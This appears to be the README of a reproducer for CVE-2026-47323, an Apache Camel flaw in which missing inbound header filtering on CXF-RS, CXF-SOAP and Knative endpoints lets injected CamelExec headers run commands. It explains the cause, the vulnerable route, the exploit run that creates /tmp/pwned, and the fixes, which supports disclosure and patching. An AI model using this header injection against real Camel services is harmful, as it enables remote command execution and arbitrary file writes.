oscerd/cve-2026-47323Reproducer for CVE-2026-47323: Apache Camel CXF/Knative HeaderFilterStrategy missing inbound filtering, enabling Camel control-header injection (RCE via camel-exec) through CXF-RS/CXF-SOAP/Knative endpoints (fixed in 4.14.6/4.18.2/4.19.0)
This project demonstrates a message-header injection in Apache Camel's CXF and Knative HTTP header-filter
strategies, tracked as CVE-2026-47323. CxfRsHeaderFilterStrategy (camel-cxf-rest), CxfHeaderFilterStrategy
(camel-cxf-transport) and KnativeHttpHeaderFilterStrategy (camel-knative-http) only filter outbound
Camel-internal headers (setOutFilterStartsWith), while not configuring inbound filtering
(setInFilterStartsWith). As a result, an unauthenticated attacker can inject Camel-internal headers (e.g.
CamelExecCommandExecutable, CamelFileName) via HTTP requests to CXF-RS or CXF-SOAP endpoints. When a route
forwards messages from these endpoints to header-driven components such as camel-exec or camel-file, the injected
headers override the configured values — enabling remote code execution or arbitrary file writes.
This PoC uses the CXF-RS (JAX-RS) surface: an injected CamelExecCommandExecutable turns a harmless
echo into arbitrary command execution.
Advisory: https://camel.apache.org/security/CVE-2026-47323.html
| Property | Value |
|---|---|
| Component | camel-cxf-rest (CxfRsHeaderFilterStrategy), camel-cxf-transport (CxfHeaderFilterStrategy), camel-knative-http (KnativeHttpHeaderFilterStrategy) |
| CWE | CWE-20: Improper Input Validation |
| Impact | Inject Camel control headers via an HTTP request → override a downstream header-driven producer → RCE (camel-exec) or arbitrary file write (camel-file) |
| Preconditions | A CXF-RS / CXF-SOAP / Knative endpoint forwarding to a header-driven producer; unauthenticated when the endpoint is |
| Affected Versions | From 3.18.0 before 4.14.6, from 4.15.0 before 4.18.2, 4.19.0 (fixed in 4.19.0) |
| Fixed Versions | 4.14.6, 4.18.2, 4.19.0 |
| Credit | Quac Tran |
This reproducer pins camel 4.18.1 — the last affected release on the 4.18.x line (the fix landed in 4.18.2). Same pattern as camel-undertow (CVE-2025-30177), the broader incoming-header filter (CVE-2025-27636, CVE-2025-29891) and the non-HTTP strategies (CVE-2026-40453).
// CxfRsHeaderFilterStrategy.initialize() (affected 4.18.1) — only the OUTBOUND filter is configured:
setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
// (no setInFilterStartsWith(...), so inbound Camel* headers are NOT filtered)
// DefaultCxfRsBinding.populateExchangeFromCxfRsRequest() — inbound HTTP headers copied through the strategy:
for (Map.Entry<String, List<String>> entry : headers.entrySet()) {
if (headerFilterStrategy.applyFilterToExternalHeaders(entry.getKey(), entry.getValue(), camelExchange)
|| entry.getValue().isEmpty()) {
// dropped — but with no inbound filter, CamelExecCommandExecutable is NOT dropped
} else {
camelMessage.setHeader(entry.getKey(), entry.getValue().get(0)); // <-- injected header lands here
}
}
The fix (4.14.6 / 4.18.2 / 4.19.0) adds setInFilterStartsWith(CAMEL_FILTER_STARTS_WITH) to these strategies, so
inbound Camel* / camel* headers are dropped.
from("cxfrs://http://0.0.0.0:9000/service?resourceClasses=com.example.ApiResource")
.to("exec:echo?args=hello") // the author's fixed, harmless command
.setBody(constant("ok\n"));
A JAX-RS endpoint (GET /service/api/ping) whose requests are handed to a fixed shell command. The camel-exec
producer honours an inbound CamelExecCommandExecutable header in preference to the configured echo.
Everything runs in one self-contained app: the CXF-RS endpoint, the camel-exec sink, and the attacker driver.
CVE-2026-47323/
├── pom.xml # camel-cxf-rest + camel-exec 4.18.1 (+ CXF undertow transport)
├── Dockerfile
├── docker-compose.yml # single self-contained service
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── ApiResource.java # JAX-RS contract: GET /api/ping
│ ├── VictimRoute.java # cxfrs consumer -> exec:echo
│ └── ExploitController.java # attacker: GET /ping with injected CamelExec* headers
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker exec cve-2026-47323 ls -l /tmp/pwned # created by the injected command
docker compose down
mvn clean package -DskipTests
java -jar target/cve-2026-47323-cxfrs-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack
ls -l /tmp/pwned
marker before: false
=== 1) Legitimate request (no injected headers) ===
response: ok
marker created: false
=== 2) Injected CamelExecCommandExecutable=/usr/bin/touch CamelExecCommandArgs=/tmp/pwned ===
response: ok
marker created: true
>>> Header-injection / RCE proof — an unauthenticated HTTP client made the route run an
>>> arbitrary command by injecting CamelExec* headers into a CXF-RS request (touch /tmp/pwned): true
Any route that forwards messages from a CXF-RS, CXF-SOAP or Knative-HTTP endpoint to a header-driven producer.
Beyond CamelExecCommandExecutable (RCE via camel-exec), CamelFileName allows arbitrary file writes via
camel-file, and other Camel* control headers can steer other producers.
Upgrade to 4.14.6 / 4.18.2 / 4.19.0. The affected strategies then configure
setInFilterStartsWith(CAMEL_FILTER_STARTS_WITH), dropping inbound Camel* headers.
Until upgrading, strip the Camel control headers from inbound messages before any downstream producer
(.removeHeaders("Camel*") and .removeHeaders("camel*") at the start of the route), and require authentication
on the CXF / Knative endpoint.
This reproducer is provided for security research and authorized testing only, for a publicly disclosed and fixed vulnerability. Do not use it against systems without explicit permission.